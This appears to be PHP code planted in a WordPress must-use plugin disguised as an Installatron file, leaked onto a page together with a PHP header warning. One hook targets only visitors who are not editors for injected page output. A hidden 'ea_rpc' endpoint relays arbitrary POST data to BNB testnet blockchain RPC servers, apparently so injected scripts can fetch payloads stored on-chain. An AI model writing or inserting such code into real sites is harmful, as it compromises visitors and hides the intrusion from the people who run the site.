// ea_inj
function wp_pf_f3568d32(){static $_ea_done=false;if($_ea_done)return;$c=wp_get_current_user()->has_cap('edit_posts')?1:0;if($c==0){echo'';$_ea_done=true;}}add_action("wp_head","wp_pf_f3568d32",999);add_action("wp_footer","wp_pf_f3568d32",999);add_action("wp_body_open","wp_pf_f3568d32",999);
// ea_rpc
add_action('init', function () {
if (($_GET['ea_rpc'] ?? '') !== '1') {
return;
}
if (($_SERVER['REQUEST_METHOD'] ?? '') !== 'POST') {
status_header(405);
exit;
}
$raw = file_get_contents('php://input');
if (!$raw) {
status_header(400);
exit;
}
$_ea_rpcs = array('https://data-seed-prebsc-1-s1.bnbchain.org:8545/', 'https://data-seed-prebsc-2-s1.binance.org:8545/', 'https://data-seed-prebsc-2-s2.binance.org:8545/', 'https://bsc-testnet-dataseed.bnbchain.org/', 'https://bnb-testnet.api.onfinality.io/public', 'https://bsc-testnet.drpc.org/', 'https://data-seed-prebsc-1-s1.binance.org:8545/', 'https://bsc-testnet-rpc.publicnode.com/');
foreach ($_ea_rpcs as $_ea_rpc) {
$ctx = stream_context_create([
'http' => [
'method' => 'POST',
'header' => "Content-Type: application/json\r\nAccept: application/json\r\n",
'content' => $raw,
'timeout' => 12,
'ignore_errors' => true,
],
'ssl' => [
'verify_peer' => true,
'verify_peer_name' => true,
],
]);
$res = @file_get_contents($_ea_rpc, false, $ctx);
if ($res !== false && $res !== '') {
header('Content-Type: application/json; charset=utf-8');
echo $res;
exit;
}
}
status_header(502);
exit;
}, 1);
Warning: Cannot modify header information - headers already sent by (output started at /home/odopixser/sibangalore_com/wp-content/mu-plugins/installatron_hide_status_test.php:11) in /home/odopixser/sibangalore_com/wp-includes/pluggable.php on line 1221